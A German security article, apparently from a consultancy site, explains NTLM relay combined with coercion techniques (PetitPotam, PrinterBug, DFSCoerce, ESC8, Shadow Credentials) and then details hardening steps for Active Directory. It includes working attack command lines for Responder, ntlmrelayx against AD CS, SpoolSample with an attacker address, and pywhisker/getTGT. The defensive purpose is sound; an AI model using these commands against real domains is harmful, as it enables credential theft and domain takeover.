NTLM-Relay kombiniert mit Coercion-Techniken ermöglicht die Domänenübernahme in unter 60 Sekunden — ohne ein einziges Passwort zu kennen.
NTLM-Relay-Grundlagen — warum Challenge-Response nicht reicht
Das NTLM-Protokoll verwendet ein Challenge-Response-Verfahren: Der Server sendet eine zufällige Challenge (8 Bytes bei NTLMv1, 8+ Bytes bei NTLMv2), der Client berechnet eine Response basierend auf der Challenge und seinem Passwort-Hash, und der Server validiert die Response. Das fundamentale Problem: NTLM bindet die Authentifizierung nicht an den Zieldienst. Ein Angreifer, der sich zwischen Client und Server positioniert, kann die Authentifizierungsnachrichten in Echtzeit an einen anderen Server weiterleiten. Der Client glaubt, er authentifiziert sich bei Server A, aber der Angreifer nutzt die Credentials, um sich als der Client bei Server B zu authentifizieren. Dies ist kein Man-in-the-Middle im klassischen Sinne — der Angreifer kann den verschlüsselten Traffic nicht lesen, aber er kann die Authentifizierung umlenken.
Der Schlüssel zum Verständnis von NTLM Relay ist die Unterscheidung zwischen Reflection und Cross-Protocol Relay. Reflection (die Authentifizierung an denselben Server zurückleiten) wurde durch MS08-068 gepatcht und funktioniert seit 2008 nicht mehr. Cross-Protocol Relay hingegen — z. B. NTLM-Authentifizierung von SMB nach LDAP, von HTTP nach SMB, oder von RPC nach AD CS — funktioniert weiterhin, solange der Zieldienst NTLM akzeptiert und weder Signing noch Channel Binding (EPA) erzwingt. Das Tool ntlmrelayx (Teil von Impacket) automatisiert Cross-Protocol Relay und unterstützt Dutzende von Zielprotokollen: LDAP(S), SMB, MSSQL, HTTP, IMAP, AD CS (ESC8).
- NTLMv1 vs. NTLMv2 — warum beides problematisch ist: NTLMv1 ist kryptographisch gebrochen: Die Response basiert auf DES und kann mit crack.sh oder Rainbow Tables in Sekunden gecrackt werden — der resultierende NTLM-Hash ermöglicht Pass-the-Hash. NTLMv2 ist kryptographisch stärker (HMAC-MD5), aber: Für Relay-Angriffe ist die kryptographische Stärke irrelevant — der Angreifer muss die Response nicht cracken, er leitet sie nur weiter. NTLMv2 schützt also nicht vor Relay.
- Responder — der NTLM-Hash-Fänger: Responder vergiftet LLMNR, NBT-NS und mDNS-Anfragen im lokalen Netzwerk. Wenn ein System einen Hostnamen nicht per DNS auflösen kann (z. B. durch einen Tippfehler
\\fileservr\share), sendet es LLMNR/NBT-NS-Broadcasts. Responder antwortet auf alle diese Anfragen und gibt sich als der angefragte Host aus — der Client sendet daraufhin seine NTLM-Credentials.responder -I eth0 -wFbfängt NTLMv2-Hashes ab, die offline gecrackt werden können. In Kombination mit ntlmrelayx wird der Hash nicht gecrackt, sondern direkt weiterleitet. - Cross-Protocol-Relay zu LDAP: NTLM-Relay zu LDAP auf dem Domain Controller ermöglicht dem Angreifer, AD-Objekte zu erstellen und zu modifizieren — als der Benutzer, dessen Authentifizierung relayed wird. Wenn ein Domain Controller (Maschinenaccount
DC01$) zur Authentifizierung gezwungen wird und der Relay zu LDAP geht, hat der Angreifer DCSync-äquivalente Rechte. Konkreter Angriffsweg: Erstelle einen neuen Computer-Account → konfiguriere Resource-Based Constrained Delegation (RBCD) → S4U2Self/S4U2Proxy → Service Ticket als beliebiger Benutzer. - Relay zu AD Certificate Services (ESC8): Wenn AD CS Web Enrollment (certsrv) HTTP-basierte NTLM-Authentifizierung akzeptiert (Standard!), kann ein Angreifer die NTLM-Authentifizierung eines Domain Controllers dorthin relayed und ein Maschinenzertifikat für den DC anfordern. Mit diesem Zertifikat kann der Angreifer sich über PKINIT als der DC authentifizieren und den NTLM-Hash des DC-Maschinenaccounts extrahieren → DCSync → alle Passwörter.
ntlmrelayx -t http://ca-server/certsrv/certfnsh.asp -smb2support --adcs --template DomainController.
Coercion-Techniken — Server zur Authentifizierung zwingen
Coercion bezeichnet Techniken, mit denen ein Angreifer einen Server — insbesondere einen Domain Controller — dazu bringt, sich bei einer vom Angreifer kontrollierten Adresse zu authentifizieren. In Kombination mit NTLM Relay ist dies der Schlüssel zur Domänenübernahme. Die grundlegende Idee: Viele Windows-APIs und -Dienste ermöglichen es einem authentifizierten Benutzer, einen Remote-Server anzuweisen, eine Netzwerkverbindung zu einer beliebigen Adresse aufzubauen. Bei dieser Verbindung authentifiziert sich der Server automatisch mit seiner Maschinenidentität (NTLM). Da Domain Controller die höchsten Privilegien im AD haben, ist ein Relay der DC-Maschinenidentität besonders verheerend.
Die bekannteste Coercion-Technik ist PetitPotam (CVE-2021-36942), die die MS-EFSRPC-Schnittstelle (Encrypting File System Remote Protocol) missbraucht. Ein authentifizierter Benutzer ruft die Funktion EfsRpcOpenFileRaw mit einem UNC-Pfad (\\angreifer-ip\share) auf dem Domain Controller auf. Der DC versucht, die Datei zu öffnen, und authentifiziert sich dabei am Angreifer-Server per NTLM. Microsoft hat PetitPotam teilweise gepatcht, aber nicht alle Varianten — die Funktionen EfsRpcEncryptFileSrv und EfsRpcDecryptFileSrv sind in vielen Umgebungen weiterhin anfällig. Zudem existieren über 20 weitere Coercion-Methoden, die über verschiedene RPC-Schnittstellen funktionieren.
- PrinterBug / SpoolSample: Der Print Spooler Service bietet die RPC-Funktion
RpcRemoteFindFirstPrinterChangeNotificationEx, die einen Server anweist, eine Druckbenachrichtigung an eine beliebige Adresse zu senden — mit NTLM-Authentifizierung. Tool:SpoolSample.exe DC01 ANGREIFER-IPoderprinterbug.py(Impacket). Verteidigung: Print Spooler Service auf allen Domain Controllern und Servern deaktivieren, die keinen Druckdienst benötigen:Stop-Service Spooler; Set-Service Spooler -StartupType Disabled. - DFSCoerce: Missbraucht die MS-DFSNM-Schnittstelle (Distributed File System Namespace Management). Die Funktion
NetrDfsRemoveStdRootkann den DC zur NTLM-Authentifizierung an eine beliebige Adresse zwingen. Im Gegensatz zu PetitPotam gibt es für DFSCoerce keinen dedizierten Patch — die Verteidigung muss über NTLM-Relay-Härtung (Signing/EPA) erfolgen. - ShadowCoerce: Nutzt den MS-FSRVP-Dienst (File Server VSS Agent Service) für Coercion über
IsPathSupportedundIsPathShadowCopied. Funktioniert auf Servern, die als File Server konfiguriert sind. Weitere Varianten: MS-EVEN (Eventlog Remoting), MS-RPRN (weitere Print-Spooler-Funktionen), MS-EFSR (EFS-Varianten jenseits PetitPotam). Das Tool Coercer (GitHub) testet automatisch alle bekannten Coercion-Methoden gegen ein Ziel. - Shadow Credentials (RBCD Alternative): Statt RBCD kann der Angreifer nach einem erfolgreichen LDAP-Relay auch Shadow Credentials setzen: Das Attribut
msDS-KeyCredentialLinkdes Zielcomputers wird mit einem vom Angreifer generierten Schlüssel beschrieben. Danach kann der Angreifer über PKINIT (RFC 4556) ein TGT für den Maschinenaccount anfordern — ohne Passwort. Tool:pywhisker -d corp.local -u angreifer -p Passwort -t DC01$ --action addgefolgt vongetTGT.py -cert-pfx DC01$.pfx corp.local/DC01$. Diese Technik hinterlässt minimale Spuren und ist schwerer zu erkennen als RBCD.
Verteidigung & Härtung — die NTLM-Relay-Kette unterbrechen
Die effektivste Verteidigung gegen NTLM-Relay-Angriffe besteht darin, die gesamte Relay-Kette an mehreren Punkten zu unterbrechen. Der Angriff benötigt drei Bedingungen: 1) NTLM-Authentifizierung muss möglich sein, 2) der Zieldienst darf kein Signing oder Channel Binding erzwingen, 3) der relayed Account muss ausreichende Rechte auf dem Zieldienst haben. Die folgenden Maßnahmen adressieren jeden dieser Punkte.
NTLM schrittweise deaktivieren ist die langfristig effektivste Maßnahme, aber auch die riskanteste. Viele Legacy-Anwendungen — ältere NAS-Geräte, Drucker, ERP-Systeme, Linux-Samba-Clients — unterstützen nur NTLM. Microsoft hat für Windows Server 2025 und Windows 11 24H2 die schrittweise NTLM-Deprecation angekündigt. Der empfohlene Weg: 1) Aktivieren Sie NTLM Audit-Logging (GPO: Network Security → Restrict NTLM → Audit NTLM authentication in this domain). 2) Analysieren Sie die Logs (Event 8004 im Security-Log zeigt alle NTLM-Authentifizierungen). 3) Migrieren Sie identifizierte Systeme auf Kerberos. 4) Blockieren Sie NTLM schrittweise: erst für Domain-Accounts auf DCs, dann für alle Accounts.
- LDAP Signing & Channel Binding erzwingen: LDAP Signing verhindert Relay von NTLM zu LDAP über unsignierte Verbindungen. GPO: „Domain controller: LDAP server signing requirements = Require signing“. LDAP Channel Binding (Extended Protection for Authentication / EPA) bindet die NTLM-Authentifizierung an den TLS-Kanal — der Angreifer kann den Channel Binding Token nicht fälschen. Registry:
HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters\LdapEnforceChannelBinding = 2. Achtung: Testen Sie vorher mit dem Wert1(Audit-Modus) — inkompatible Clients erzeugen Event 3039. - SMB Signing erzwingen: SMB Signing verhindert NTLM-Relay zu SMB-Shares. GPO: „Microsoft network server: Digitally sign communications (always) = Enabled“ auf allen Servern. Ab Windows Server 2022 und Windows 11 ist SMB Signing standardmäßig aktiviert — aber in gemischten Umgebungen mit älteren Systemen ist es oft deaktiviert. Performance-Overhead: ca. 3-5 % — vernachlässigbar im Vergleich zum Risiko.
- EPA für AD CS Web Enrollment: Die ESC8-Angriffskette (Relay zu AD CS) wird durch Extended Protection for Authentication auf der IIS-Website von certsrv verhindert. Konfiguration: IIS Manager → Sites → Default Web Site → CertSrv → Authentication → Windows Authentication → Advanced Settings → Extended Protection = Required. Alternativ: Deaktivieren Sie den HTTP-basierten Enrollment-Endpoint vollständig und verwenden Sie nur DCOM/RPC-basiertes Enrollment (certenroll).
- Print Spooler, EFS, FSRVP deaktivieren: Deaktivieren Sie alle unnötigen Dienste auf Domain Controllern:
Set-Service Spooler -StartupType Disabled -Status Stopped(Print Spooler — PrinterBug),Set-Service EFS -StartupType Disabled(EFS — PetitPotam),Set-Service FSRVP -StartupType Disabled(VSS Agent — ShadowCoerce). Auf DCs sollten nur die für AD essenziellen Dienste laufen — kein Print, kein File Server, kein IIS. - MachineAccountQuota auf 0 setzen: Standardmäßig kann jeder Domänenbenutzer bis zu 10 Computer-Accounts im AD erstellen (
ms-DS-MachineAccountQuota = 10). RBCD-basierte Angriffe benötigen einen kontrollierten Computer-Account. Lösung:Set-ADDomain -Identity corp.local -Replace @{"ms-DS-MachineAccountQuota"=0}. Dies verhindert, dass normale Benutzer Computer-Accounts erstellen — der Vorgang muss dann über delegierte Admins erfolgen.
Sie benötigen Unterstützung?
NTLM-Relay ist der häufigste Angriffsweg zur Domänenübernahme. Wir prüfen Ihre Umgebung auf Coercion-Anfälligkeit, implementieren LDAP Signing/Channel Binding, konfigurieren SMB Signing und deaktivieren unnötige Dienste auf Ihren Domain Controllern.
Active Directory ansehen →
